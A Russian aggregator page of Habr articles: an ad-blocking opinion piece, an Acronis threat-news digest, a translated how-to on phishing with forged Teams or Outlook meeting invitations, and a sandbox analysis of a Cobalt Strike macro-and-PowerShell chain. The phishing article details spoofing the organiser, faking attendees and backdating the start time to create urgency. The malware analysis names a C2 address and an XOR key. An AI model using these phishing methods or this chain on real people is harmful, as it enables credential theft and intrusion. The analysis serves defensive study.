Контроль над содержимым web должен принадлежать в т.ч. рядовому пользователю, а не только маркетологам. Web-пользователь сам в состоянии определять, что для него является пагубной рекламой, а что полезным контентом. Если пользователь считает, что новости или дзен Яндекса - это своего рода реклама, то он может ограничить себя от вредоносного для него контента совершенно законно в касание и без красноглазия. Решение под катом.

В 20 веке в противопоставление массового засилья рекламы на телевидении, разработчики телевизионной аппаратуры придумали кнопку на пульте ДУ - "mute". Дедушки и бабушки положительно оценили антирекламный прогресс, взяв на вооружение этот эффект оглушающей тишины.

В 21 веке непродуктивные методы рекламы, например, такие как 25-кадр остались в прошлом, а FUD маркетологов и адблоки киберпанков (другие приёмы и ПО) над манипуляцией массовым сознанием развернулись на самом близком фронте в мировой сети Интернет.

Windows; GNU/Linux и Android OS-ы. В этой статье, и возможно в комментах, будут изложены современные и эффективные приёмы защиты второй линии против глобальной рекламы на сегодняшний день.

uBlock Origin

Яндекс (мои) персональные поисковые страницы на ПК/Android.Яндекс (мои) персональные поисковые страницы на ПК/Android.

Так выглядят мои персональные страницы Яндекса. Отсутствуют/выпилены: прямая реклама; Я.Дзен; Я.Плюс; Я.Новости; телепрограмма, подвал и прочее, что нарушало мое интернет-равновесие.

Поясняю свою позицию на примере ликвидации блока: Яндекс.Новости с www.yandex.ru. Основная причина в том, что транснациональная корпорация подсовывает мне неприемлемый, новостной, политический контент (только ли мне?). В Яндексе я не авторизован и мой персональный профиль менее известен Я.Маркетологам (я не сохраняю cookies/историю и пароли в браузере, потому что серфю в браузерах Firefox и DuckDuckGo в дефолтном режиме инкогнито мимо политических интриг).

Пример новостной Топ-ленты в DDG-браузере на главной странице Яндекса

Пример поискового запроса в Яндексе: 'Стивен Сигал'

Интересно: в каждой стране свой местный поисковик генерирует контент подобного рода или так обучился только Яндекс?

Как мне удалось персонализировать страницы сайтов, убрав лишнее? Очень просто: я использовал вместо коммерческого Adblock Plus --> киберпанковский uBlock Origin.

Многим пользователям (в какой-то степени благодаря той же рекламе) известен addon к браузерам Adblock Plus, который блокирует социальные и рекламные трекеры. Но у этого расширения есть конкретные изъяны:

  • Adblock Plus имеет неочевидный отстрел выборочных HTML-элементов (к сожалению блокировка рекламы осуществляется по интересам разработчиков аддона, а не юзера). Пользователю недоступна статистика по блокировке элементов.

  • ABP - это коммерц, а это значит, что режущую рекламу фильтры/политика/код сформировываются по рыночным $-правилам.

  • Для кого-то политика конфиденциальности Adblock Plus (сбор персональных данных о пользователях) может оказаться неприемлемой.

По поводу конфиденциальности: я когда-то отредактировал пару статей об адблоках в свободной энциклопедии, качнув чашу весов в пользу uBlock Origin. И внесенные изменения устояли не смотря на то, что подобные статьи относятся к горячим (см. война правок в вики).

Процитирую здесь "свои пункты" из Википедии, которые имеют значения:

"""Конфиденциальность Adblock Plus

Согласно политике конфиденциальности: Adblock Plus или Adblock Browser обрабатывает персональные данные пользователей такие как ip, операционная система, дата последнего обновления, версия браузера[13].

Политики конфиденциальности uBlock и uBlock Origin различаются.

Согласно политике конфиденциальности uBlock Origin: обработка персональных данных пользователей не осуществляется[44] в отличие, например, от политик конфиденциальностей Adblock Plus или uBlock[46].

uBlock Origin входит в предустановленное ПО дистрибутива с повышенными требованиями к приватности и анонимности пользователей GNU/Linux Tails.[47]"""

Преимущества uBlock Origin перед Adblock Plus очевидные:

  • Кроме автоблокировки рекламы, например в Ютубе, осуществляется блокировка web-контента на выбор пользователя в касание, то есть пользовательский интерфейс в uBlock Origin дружелюбный. Пользователь может заблочить "любой/не нравящийся контент" на любимых сайтах.

  • Полноценная статистика о блокировках скриптов/рекламы.

  • Дополнительные, расширенные авто-фильтры, например, adguard-фильтры.

  • Отсутствие какого-либо сбора перс.данных пользователей.

Недостатки uBlock Origin в целом:

  • Addon uBlock Origin с открытым исходным кодом, имеет высочайшую популярность на Github-е. На данный момент проект набрал 24к звёзд, но при всем этом предложить патчи или открыть проблему для рядового пользователя является затруднительным, так как разработчик uBlock Origin ограничил круг лиц к репозиторию, который мог бы предлагать исправления и улучшения. UPD: ситуация поправлена.

  • Разработчики Яндекс браузера преуспели: Addon uBlock Origin цензурирован своей магией на главной странице Яндекса в Яндекс браузере.

Существует и поддерживается миф о том, что после чрезмерной блокировки рекламы адблоками страницы медленнее грузятся. Миф опровергается в любом браузере замером скорости загрузки сайта через инструменты разработчика до и после блокировок. В моем случае после блокировки 'яндекс-мусора' скорость загрузки страницы не замедлилась, а наоборот возросла.

Скрины до и после блокировки 'яндекс-мусора'.

И последнее про плагин: при установке uBlock Origin пользователю нужно быть внимательнее, так как существует альтернативная версия ПО - uBlock (которая имеет схожий логотип и название, но при этом собирает данные о пользователе), а сам uBlock Origin имеет две версии (стандартную и для разработчиков), я рекомендую версию для разработчиков, различие заключается в опережающей разработке стабильного uBlock Origin.

Это расширение ничто. Так что, если вы действительно хотите внести свой вклад, подумайте о людях, усердно поддерживающих списки фильтров, предоставленные Вам для бесплатного использования.

Оф.цитата из uBO.

YouTube vanced & альтернатива

Вы обращали внимание на то, что в Telegram (клиент приложения под Android) ссылки на Ютуб-ролики открываются без рекламы? Фокус в том, что рекламу создает приложение YouTube, а само видео лежит глубоко по ссылке.

Пример:

https://www.youtube.com/watch?v=zRO_KsPZJto #привычная пользовательская ссылка.

https://r4---sn-gvnuxaxjvh-n8ves.googlevideo.com/videoplayback?expire=1616171383&ei=F31UYJqLGciA8gOKm7_wAw&ip=8.8.8.8&id=o-AJuntU-XuYfFhEdh34GL-alsXySNS6KpPCZkQEAR1Qrm&itag=137&aitags=133%2C134%2C135%2C136%2C137%2C160%2C242%2C243%2C244%2C247%2C248%2C278&source=youtube&requiressl=yes&mh=sP&mm=31%2C29&mn=sn-gvnuxaxjvh-n8ves%2Csn-n8v7kn7e&ms=au%2Crdu&mv=m&mvi=4&pcm2cms=yes&pl=24&initcwndbps=1185000&vprv=1&mime=video%2Fmp4&ns=61gZCT2jccJUZOaT0KITAP8F&gir=yes&clen=51122421&dur=1351.332&lmt=1535003351967636&mt=1616149486&fvip=4&keepalive=yes&fexp=24001374%2C24007246&c=WEB&n=I9K3vXiGUFbZi4NnVC&sparams=expire%2Cei%2Cip%2Cid%2Caitags%2Csource%2Crequiressl%2Cvprv%2Cmime%2Cns%2Cgir%2Cclen%2Cdur%2Clmt&sig=AOq0QJ8wRAIgcuPYMOpTQkMQZF56dtE4udtjeisXpUE2emMgBDvWeIkCIBHGs17vGxDDYM1qK3AyPhI8IS0Lq5DP3EoSkds7qA74&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpcm2cms%2Cpl%2Cinitcwndbps&lsig=AG3C_xAwRQIhANuabfdPjT_rF1P4F9THlQwadPCmpRB9f9DqPZ3Am1aUAiBuvPsP8335FKM2GqJya3ItMOe1eGo2nYZhOpIFsVbscg%3D%3D&ratebypass=yes #реальная (генерированная) ссылка.

YouTube vanced - это аналог приложения YouTube для OS Android, настоящая психотерапия после чрезмерной (я даже слышал выражение ублюдской) рекламы, которая приводит в тч. и к депрессиям интернет-зависимых людей .

Приложение YouTube vanced полностью убирает рекламу и поддерживает некоторые, полезные, дополнительные функции: например, работа в фоне, работа в окне. Визуально - это тоже самое приложение, что и стандартный YouTube только без воспроизведения рекламы. YouTube vanced поддерживается и на стареньких гаджетах и на современных.

YouTube vanced работает и на нерутированных гаджетах. Очевидно, что упомянутое приложение вы не встретите в google play market.

Официальный сайт: https://vancedapp.com/
Обратите внимание, существуют поделки, например, https://youtubevanced.com/

Альтернативный просмотр YouTube без рекламы (но без лайков/комментариев): пользователю поможет open source приложение NewPipe из f-droid, которое позволяет еще и скачивать видеоролики или SkyTube (так же на Android можно скачивать и в CLI с помощью пакета youtubedr в Termux:
$ youtubedr download htps://www.youtube.com/watch?v=zRO_KsPZJto

С Android устройств можно активничать на YouTube и из обычного FF или Brave браузеров с расширением/встроенным uBO, режущим рекламу, но на мой субъективный взгляд это не так удобно как в приложении. Однако это явно лучше, чем подвергаться 'насилию' навязчивой рекламы, особенно если пользователь пользуется видео-платформой нечасто.

Спойлер
из КФ/ Очень странные делаиз КФ/ Очень странные дела

Не в обиду эффективным маркетологам, зачитавшимся такими произведениями, как например, "Атлант расправил плечи", презирающих и обвиняющих активных противников рекламы, которые по их мнению утратили рациональное мышление в реальной виртуальности. Встает вопрос: зачем свободная и бесплатная альтернатива, существующая на донаты, если имеется монетизированный YouTube Premium? В этом нарастающем конфликте у каждого своя правда: между маркетологами (стремящимися собирать, хранить, делиться с целью повысить эффективность рекламы, или того хуже обрабатывать весьма личную информацию о юзерах) и сопротивляющимися этому явлению пользователями.

Согласно соглашению YouTube:

YouTube может прекратить Ваш доступ или доступ посредством Вашего аккаунта Google ко всему Сервису или его части, если сочтет, что предоставление Вам доступа к Сервису более не имеет коммерческого смысла.

Помимо навязчивой рекламы, обновленного соглашения и просто ради конкуренции развиваются децентрализованные сервисы подобные YouTube: D.Tube; PeerTube.

Или прочие, например, bitchute, который уже успели задеть РКН.
БлокировкаБлокировка

Остается загадкой: почему сайт YouTube vanced всё ещё открывается в браузере Chrome, а киберпанки выходят на связь, диссиденты явно наносят урон по рекламному рынку в т.ч. Гугла и по заработку блогеров, но выручают простых пользователей.

p.s. Только таким способом удалось реанимировать статью из черновиков.

Подробнее..

Дайджест киберинцидентов Acronis 1

14.06.2021 16:14:45 | Автор: admin

Привет, Хабр! Начиная с сегодняшнего дня мы будем публиковать еженедельные дайджесты новостей информационной безопасности, рассказывать о новых взломах и угрозах, а также делиться своим опытом глобального наблюдения за киберпреступностью. В этой дайджесте вы узнаете о новых крупных взломах и атаках, маскировке известных группировок, секретах успешного фишинга и о том, сколько патчей Microsoft в июне нужно установить в обязательном порядке.

Для начала скажем несколько слов о том, откуда мы берем информацию об угрозах. Еще несколько лет назад Acronis сформировал глобальную сеть центров кибербезопасности Cyber Protection Operations Centers (CPOCs). Благодаря постоянному мониторингу событий, происходящих в глобальных сетях, а также на рабочих станциях и на серверах наших клиентов, которых насчитывается более 5 миллионов по всему миру.

Оператор речных перевозок попал под атаку Ransomware

Вслед за уже нашумевшими атаками на другие объекты инфраструктуры США, в частности на Colonial Pipeline, произошло заражение Steamship Authority, крупнейшего оператора паромных перевозок в штате Массачусетс.

Steamship Authority выступает в единым регулятором и управляет движением всех паромов между материковой частью Массачусетса и островами Мартаc Виньярд и Нантакет. К счастью, сами перевозки не были парализованы, однако пока нет никакой информации о том, какой выкуп требуют злоумышленники, и как Steamship Authority планирует восстанавливать свои системы после масштабной атаки.

Но самое печальное, что из-за шифрования файлов пока никто не может сказать, насколько чувствительная информация попала в руки злоумышленников. Это еще один аргумент, почему преступники стали все чаще применять Ransomware вместе с программами класса Infostealer жертва находится одновременно под угрозой потери данных и утечки данных. В результате создается больше рисков для бизнеса и выше шанс, что руководство все-таки решится заплатить выкуп.

Это совсем не те вымогатели, которых вы ищете...

После того, как США ввели санкции в 2019 году преступная группировка, известная как Evil Corp, приступила к маскировки и провела небольшой ребрендинг, чтобы скрыть свою активность. Так что даже уже пострадавшие могут снова столкнуться с действиями тех же злоумышленников, но под новым соусом. Напомним, что Evil Corp несет ответственность за ущерб более чем в $100 миллионов, учитывая суммы выкупов и нанесенный вред. Именно они атаковали такие крупные компании как Garmin, Forward Air и страхового магната CNA.

Недавно исследователи обнаружили ряд кибератак, использующих новое вредоносное ПО PayloadBIN и отнесли эти атаки к деятельности другой известной группировки под названием Babuk (они, кстати, перед этим заявили о прекращении своей деятельности). Считалось, что Babuk просто соврали о своем выходе на пенсию. Однако после более детального анализа факты стали указывать на деятельность Evil Corp, которая вполне может стоять за новыми атаками.

Почему это важно? Установление связи между PayloadBIN и Evil Corp позволяет лучше изучить ландшафт киберугроз, а также принять меры к противодействию ведь специалистам по кибербезопасности хорошо известны приемы Evil Corp. Но а для пользователей это еще один аргумент о том, что для реальной борьбы с Ransomware стоит использовать решения с AI, способные обнаруживать неизвестные угрозы.

Семь брешей нулевого дня были закрыты в июньский вторник патчей

В свой вторник патчей Microsoft представил 50 обновлений, включая исправления для семи уязвимостей нулевого дня. Причем на тот момент уже было известно, что шесть из них были использованы киберпреступниками.

Четыре из обнаруженных уязвимостей позволяли получить дополнительные привилегии, одна была способна привести к утечкам информации, а еще одна открывала возможности для удаленного запуска произвольного кода. Седьмая уязвимость никак не проявила себя в виде реальных атак это лазейка для реализации DDoS в сервисах Windows Remote Desktop.

Из 50 патчей, предложенных в начале текущего месяца, 5 штук были признаны Microsoft критически важными, а 45 важными. Среди потенциально уязвимого ПО Microsoft Office, браузер Edge, Visual Studio, .NET Core и ряд других бизнес-приложений.

Подобная ситуация еще раз говорит в пользу технологий патч-менеджмента. Когда уязвимости уже эксплуатируются злоумышленниками лучше всего устанавливать обновления вовремя. Поэтому организациям стоит использовать автоматизированные инструменты управления патчами, чтобы вывести в приоритет загрузку и установку на всех машинах в первую очередь наиболее критичных исправлений.

Ransomware продолжает атаковать компании, связанные с трубопроводным бизнесом

Не успели мы еще забыть о недавней панике и полном отключении систем Colonial Pipeline из-за атаки Ransomware, новости последней недели пополнились нападением на еще один трубопроводный бизнес LineStar Integrity Services.

LineStar Integrity Services это специалисты по аудиту, обслуживанию и другим сервисам для трубопроводных компаний. Ежегодная прибыль этой организации составляет более $171 миллионов. И относительно новая группа Ransomware, известная как Xing Team, украла у сервисной компании 70 Гб данных, часть из которых уже была опубликована на сайтах утечек. В числе скомпрометированной информации более 73 000 электронных писем, бухгалтерская документация, контракты, программный код, технические данные, а также чувствительная информация отдела кадров номера соцстрахования и номера водительских удостоверений.

Атака во многом стала возможной потому, что Xing Team это относительно новая киберпреступная группировка, и образцы Ransomware, которые они используют, еще не были проанализированы многими лабораториями. Таким образом, обеспечить защиту от подобных атак можно только с помощью бихевиористского анализа и блокировки подозрительной активности, похожей на шифрование и кражу файлов.

После успешной атаки на SolarWinds Nobelium ударились в фишинг

Группа Nobelium, ставшая широко известной несколько месяцев назад после атаки на SolarWinds, решила расширить спектр своей деятельности. Киберпреступники запустили масштабную фишинговую кампанию, атакуя около 3000 учетных записей, относящихся к правительственным организациям и консалтинговым компаниям. И хотя основной целью злоумышленников явно были институты США, такие же электронные письма получили адресаты еще в 24 странах.

Преступники получили доступ к сервису Constant Contact (который как раз занимается маркетинговыми рассылками), а именно к учетной записи USAID (United States Agency for International Development). Использование доверенной системы позволило Nobelium создать действительно убедительные фишинговые письма, ведь отправитель входил в число проверенных, а сами сообщения отличались корректными заголовками.

В письмах была информация о новых документах, якобы свидетельствующих о подтасовках на выборах в США. Однако переход по ссылке приводил к загрузке вредоносного файла ISO. После его загрузки файл устанавливал в систему вредоносную библиотеку DLL, которая на самом деле являлась бэкдором Cobalt Strike.

Здесь стоит отметить, что подобные атаки вообще становятся возможны из-за низкого уровня использования механизмов URL-фильтрации в корпоративных системах защиты. Исследование Acronis Cyber Readiness 2020 показало, что в на подобные решения бюджет выделяется только 2% компаний. Поэтому не стоит удивляться, если кибермошенники будут использовать подобные методы работы чаще.

Подробнее..

Перевод Фишинг с поддельным приглашением на встречу

15.06.2021 12:07:46 | Автор: admin

Вы когда-нибудь задумывались о том, как работают приглашения на встречи в MicrosoftTeamsиGoogleMeet? Недавно я занимался вопросом социальной инженерии, и у меня в голове возникла случайная мысль: как на самом деле работают приглашения на встречи, можно ли как-то использовать их в мошеннических схемах?

Да, такая мысль уже обсуждалась ранее, и этот метод уже использовали. Но никто нигде не объяснял, как он работает. Мне не удалось найти ни одного блога, который технически описывает эту атаку. Поэтому я решил покопаться в ней сам, чтобы человеческим языком рассказать всем, кто интересуется пентестами и вопросами безопасности в целом.

Что я хотел сделать в этой атаке?

Отправить поддельное приглашение на встречу, создав ощущение срочности, чтобы жертва не пыталась разобраться в вопросе, а просто перешла по моей ссылке, запрашивающей учётные данные.

Создание встречи (в Outlook) обычно работает следующим образом:

  • нажмите кнопку Новая встреча, после чего откроется страница с полями для электронной почты, предварительно заполненным шаблоном команды и URL-адресом встречи

  • установите название встречи и укажите участников

  • нажмите Отправить, и ваши участники получат красивое электронное письмо, в котором они смогут принять или отклонить приглашение на собрание.

Создание встречи в OutlookСоздание встречи в OutlookТак выглядит приглашение на встречуТак выглядит приглашение на встречу

Что не так с этим приглашением?

Когда вы создаёте приглашение на встречу, вы фактически отправляете обычное электронное письмо с вложенным файлом iCalendar.В зависимости от почтового клиента получателя письма и того, как этот клиент обрабатывает iCalendar, вы можете увидеть красивый email или простое письмо с вложением.Ниже вы можете увидеть, как выглядит приглашение на собрание команды в protonmail.

Что такое объект iCalendar?

СогласноВикипедии:

Универсальный формат iCalendar позволяет пользователям хранить и обмениваться информацией своего календаря и расписания (например, события, задачи, информация о свободном/занятом времени).Файл iCalendar сохраняется в текстовом формате и содержит событие или задачу; используется для отправки событий или задач другим пользователям, которые могут импортировать их в свои календари. Обычно имеет расширение .ics

iCalendar поддерживается Outlook, календарём Google, Yahoo, Apple и многими другими.В этой статье я сосредоточусь на Outlook.

Ниже вы можете увидеть мою версию iCalendar для приглашения на групповую встречу.Я просто отправил приглашение на встречу на свой адрес в protonmail, загрузил его и прочитал вложение.

BEGIN:VCALENDARMETHOD:REQUESTPRODID:Microsoft Exchange Server 2010VERSION:2.0BEGIN:VTIMEZONETZID:GTB Standard TimeBEGIN:STANDARDDTSTART:16010101T040000TZOFFSETFROM:+0300TZOFFSETTO:+0200RRULE:FREQ=YEARLY;INTERVAL=1;BYDAY=-1SU;BYMONTH=10END:STANDARDBEGIN:DAYLIGHTDTSTART:16010101T030000TZOFFSETFROM:+0200TZOFFSETTO:+0300RRULE:FREQ=YEARLY;INTERVAL=1;BYDAY=-1SU;BYMONTH=3END:DAYLIGHTEND:VTIMEZONEBEGIN:VEVENTORGANIZER;CN=ExAndroid Developer:mailto:<redacted>@outlook.comATTENDEE;ROLE=REQ-PARTICIPANT;PARTSTAT=NEEDS-ACTION;RSVP=TRUE;CN=<redacted>@protonmail.com:mailto:<redacted>@protonmail.comDESCRIPTION;LANGUAGE=en-US:<stripped>\n\nUID:040000008200E00074C5B7101A82E00800000000508CC0468E28D701000000000000000 01000000096DF011F20A29943A70B5DA5047021A5SUMMARY;LANGUAGE=en-US:Test meetingDTSTART;TZID=GTB Standard Time:20210403T000000DTEND;TZID=GTB Standard Time:20210404T000000CLASS:PUBLICPRIORITY:5DTSTAMP:20210403T103619ZTRANSP:OPAQUESTATUS:CONFIRMEDSEQUENCE:0LOCATION;LANGUAGE=en-US:Microsoft Teams MeetingX-MICROSOFT-CDO-APPT-SEQUENCE:0X-MICROSOFT-CDO-OWNERAPPTID:-570210331X-MICROSOFT-CDO-BUSYSTATUS:TENTATIVEX-MICROSOFT-CDO-INTENDEDSTATUS:BUSYX-MICROSOFT-CDO-ALLDAYEVENT:FALSEX-MICROSOFT-CDO-IMPORTANCE:1X-MICROSOFT-CDO-INSTTYPE:0X-MICROSOFT-SKYPETEAMSMEETINGURL:https://teams.microsoft.com/l/meetup-join/ 19%3ameeting_YmM1MjRmMTktYjA2N<stripped>cd8%22%7dX-MICROSOFT-SCHEDULINGSERVICEUPDATEURL:https://api.scheduler.teams.microsof t.com/teams/dc<stripped>DAyMmZj@thread.v2/0X-MICROSOFT-SKYPETEAMSPROPERTIES:{"cid":"19:meeting_YmM1MjRmMTktYjA2Ny00YWQ 4LWI1NWEtZmE1NGVlMDAyMmZj@thread.v2"\,"private":true\,"type":0\,"mid":0\," rid":0\,"uid":null}X-MICROSOFT-ONLINEMEETINGCONFLINK:conf:sip:<redacted>\;gruu\;opaque= app:conf:focus:id:teams:2:0!19:meeting_YmM1MjRmMTktYjA2Ny00YWQ4LWI1NWEtZmE 1NGVlMDAyMmZj-thread.v2!56474ffc245241c5ab4081a127cc1cd8!dcf23acb18fc41d28 6acf752f1ca658dX-MICROSOFT-DONOTFORWARDMEETING:FALSEX-MICROSOFT-DISALLOW-COUNTER:FALSEX-MICROSOFT-LOCATIONS:[ { "DisplayName" : "Microsoft Teams Meeting"\, "Loca tionAnnotation" : ""\, "LocationSource" : 0\, "Unresolved" : false\, "Loca tionUri" : "" } ]BEGIN:VALARMDESCRIPTION:REMINDERTRIGGER;RELATED=START:-PT15MACTION:DISPLAYEND:VALARMEND:VEVENTEND:VCALENDAR

Здесь нужно понимать, что каждый объект iCalendar начинается сBEGIN: VCALENDARи заканчиваетсяEND: VCALENDAR.Часть встречи находится междуBEGIN: VEVENTиEND: VEVENT.Внутри вашего мероприятия вы указываете так называемые компоненты.Обычно требуются не все компоненты, и в моем POC вы можете найти урезанный файл *.ics с только необходимыми компонентами.Большинство из них самоочевидны, но я отмечу самые интересные из них.

ORGANIZER. Указывает имя и адрес электронной почты организатора встречи.Вы можете указать здесь любой email и имя, чтобы казалось, что приглашение на собрание исходит от этого человека.

ATTENDEE. Указывает участников встречи.Если вам нужно много участников, у вас будет несколько компонентов ATTENDEE.Имейте в виду, что участники не получат электронное письмо с приглашением на собрание, оно предназначено только для отображения.Вы можете легко имитировать присутствие 30 человек на собрании, если на самом деле отправляете электронное письмо одной жертве.

X-MICROSOFT-SKYPETEAMSMEETINGURL. Если вы укажете этот компонент, в напоминании о встрече будет отображаться кнопка Подключиться.К сожалению, при нажатии система попытается открыть указанный URL-адрес через приложение для рабочих столов, что приводит к ошибке.

DTSTART, DTSTAMP, DTEND. Указывают время встречи и её продолжительность.Я проделал хитрый трюк и установил время начала встречи на 5 минут раньше текущего времени, таким образом складывается ощущение, что вы опоздали на встречу на 5 минут.Когда жертва получает email, Outlook обрабатывает его как приглашение на встречу. Видит, что встреча началось 5 минут назад, и сразу же отображает напоминание на экране.Это помогает симулировать срочность.

Как вы думаете, сколько человек в разгар рабочего дня кликнули бы по ссылке, видя, что опаздывают на встречу?

В этой статье я показал, как Outlook обрабатывает приглашения на собрания.Это должно работать с любым провайдером/клиентом email-сообщений, который обрабатывает вложения *.ics. Вы можете проверить мой POC наgithubи отредактировать скрипт и шаблоны в соответствии со своими потребностями.


Что ещё интересного есть в блогеCloud4Y

Частые ошибки в настройках Nginx, из-за которых веб-сервер становится уязвимым

Пароль как крестраж: ещё один способ защитить свои учётные данные

Облачная кухня: готовим данные для мониторинга с помощью vCloud API и скороварки

Подготовка шаблона vApp тестовой среды VMware vCenter + ESXi

VMware предупредила о критических уязвимостях в удаленном исполнении кода в vCenter

Подписывайтесь на нашTelegram-канал, чтобы не пропустить очередную статью. Пишем не чаще двух раз в неделю и только по делу.

Подробнее..

The Standoff, май 2021 года. О пойманных зверьках в песочнице

15.06.2021 12:07:46 | Автор: admin

С 18 по 21 мая 2021 года на киберполигоне The Standoff прошло очередное противостояние между атакующими и защитниками. Бои проходили в вымышленном городе FF, представляющем собой обширную инфраструктуру, моделирующую технологические и бизнес-процессы компаний в промышленности, энергетике, на транспорте, в финансах и других секторах.

В этот раз в кибербитве участвовали тридцать команд атакующих, жаждущих воспроизвести очередной бизнес-риск, и пять команд защитников, всячески препятствующих действиям противоположной стороны. Кроме них, на протяжении всего времени соревнований работал security operation center (SOC), состоящий из нескольких команд PT Expert Security Center и наблюдавший за всем происходящим. Одной из таких команд, участвовавших в тщательном мониторинге, был наш отдел обнаружения вредоносного ПО. С помощью песочницы PT Sandbox мы анализировали входной поток файлов на предмет наличия вредоносного кода. Вот ее возможности:

  • сканирование файлов статическими правилами нашего PT ESC,

  • отслеживание вредоносной активности в результате запуска образца в изолированной среде поведенческими правилами PT ESC,

  • анализ сетевого трафика внутри виртуальных машин с помощью тех же правил, что используются в PT Network Attack Discovery,

  • анализ дампов памяти процессов и файловых артефактов правилами PT ESC,

  • сканирование файла с помощью SDK внешних антивирусных вендоров.

Давайте посмотрим, что интересного удалось обнаружить в этот раз. Также предлагаем вам сравнить результаты с уловом в песочнице с прошлого противостояния.

Общая статистика

Мы провели анализ событий в песочнице за период с 18 мая 10:00 до 21 мая 14:00. Согласно регламенту проведения противостояния, 18 и 19 мая с 19:00 до 10:00 следующего дня активные действия на полигоне не проводились. За время проведения кибербитвы в песочницу поступило 67142 файла на анализ, из которых в 233 случаях было обнаружено вредоносное ПО. Файлы в систему поступали следующим образом:

  • из вложений писем с почтовых серверов инфраструктуры города FF;

  • из сетевого трафика, перехваченные с помощью PT Network Attack Discovery;

  • через ICAP, перехваченные с помощью PT Application Firewall;

  • путем загрузки вручную через веб-интерфейс специалистами SOC.

На рисунках ниже представлены распределения всех файлов, поступивших на анализ, по источникам, а также распределение по источникам тех, в которых обнаружен вредоносный код:

Рисунок 1. Распределение всех файлов, поступивших на анализ в PT Sandbox, по источникамРисунок 1. Распределение всех файлов, поступивших на анализ в PT Sandbox, по источникамРисунок 2. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по источникамРисунок 2. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по источникам

Мы распределили задетектированные файлы по шестичасовым промежуткам времени, в которые они поступили на анализ. Вот что получилось:

Рисунок 3. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по времени попадания в системуРисунок 3. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по времени попадания в систему

Отметим пиковые промежутки в дневное время по московскому часовому поясу за день до начала конференции PHDays и в первый день ее проведения. Обосновано отсутствие потока файлов в ночное время 19 и 20 мая, так как в этот период активность противостояния приостанавливалась по регламенту.

Специалисты отдела обнаружения вредоносного ПО дополнительно проанализировали каждый вредоносный образец, обнаруженный в PT Sandbox, с целью верификации и уточнения принадлежности определенному семейству. На рисунке ниже классификация файлов по семействам.

Рисунок 4. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по семействамРисунок 4. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по семействам

В сравнении с прошлым соревнованием в этот раз не было массовых спам-рассылок, из-за чего число обнаруженных однотипных образцов могло бы быть достаточно большим. Тем не менее, тенденция не сильно изменилась. Атакующие по-прежнему отдают предпочтение использованию фреймворков Metasploit и Cobalt Strike для создания троянов-загрузчиков в качестве нагрузки первой стадии. Используются легитимные инструменты PsExec и RemCom для запуска кода на удаленных серверах. Применяются такие инструменты, как NSSM, для закрепления в системе. Мы видели распространение майнеров криптовалюты, в том числе собственного исполнения (атакующие получали дополнительные очки за майнинговую активность).

Рисунок 5. Очки, начисляемые командам атакующих за майнинг криптовалютыРисунок 5. Очки, начисляемые командам атакующих за майнинг криптовалюты

Также отметим попытки эксплуатации уязвимостей: в топ попала уязвимость CVE-2018-4993 в программе Adobe Acrobat Reader, благодаря которой атакующие могут провести атаку NTLM-relay. Впрочем, вот список полученных эксплойтов на прочие бреши, которые использовались в меньшем количестве:

  • CVE-2011-1249

  • CVE-2012-0217

  • CVE-2016-5195

  • CVE-2020-0787

А теперь давайте изучим примеры из некоторых семейств подробнее.

Cobalt Strike

В этот раз практически в каждом втором случае в качестве полезной нагрузки использовался модуль управления компьютером от пентестерского фреймворка Cobalt Strike. Рассмотрим это семейство на примере вложения к письму с именем TechnicalDocuments2.doc

SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

Судя по расширению файл представляет собой офисный документ:

Рисунок 6. Пример открытого офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 6. Пример открытого офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

На изображении выше отметим предупреждение, что файл содержит макросы, которые отключены.

После запуска VBA-макрос передаст на управляющий сервер имя пользователя и имя домена машины, а полученную в ответ полезную нагрузку запустит с использованием WMI:

Рисунок 7. Фрагмент кода макроса, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 7. Фрагмент кода макроса, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

В ответе от сервера будет получен однострочник на языке PowerShell, который загрузит и запустит полезную нагрузку следующей стадии:

Рисунок 8. Ответ от управляющего сервера, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 8. Ответ от управляющего сервера, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

Далее снова будет загружен PowerShell-скрипт, но большего размера. Он содержит бинарные данные, которые сначала декодируются из base64, а затем расшифровываются линейным XOR с ключом KUPORIS001 без кавычек и запускаются:

Рисунок 9. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 19007866d50da66e0092e0f043b886866f8d66666b91ff02199dfc4aef070a50Рисунок 9. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 19007866d50da66e0092e0f043b886866f8d66666b91ff02199dfc4aef070a50

Расшифрованные данные вновь представляют собой скрипт PowerShell, который декодирует и расшифровывает следующие данные, передавая на них управление кода:

Рисунок 10. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89Рисунок 10. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89Рисунок 11. Передача управления кода на декодированные и расшифрованные данные, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89Рисунок 11. Передача управления кода на декодированные и расшифрованные данные, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89

В начале полученных данных находится позиционно-независимый код, который в дальнейшем произведет отраженную загрузку основного бэкдора фреймворка Beacon Cobalt Strike, с управляющим сервером по адресу 104.248.40[.]15:443.

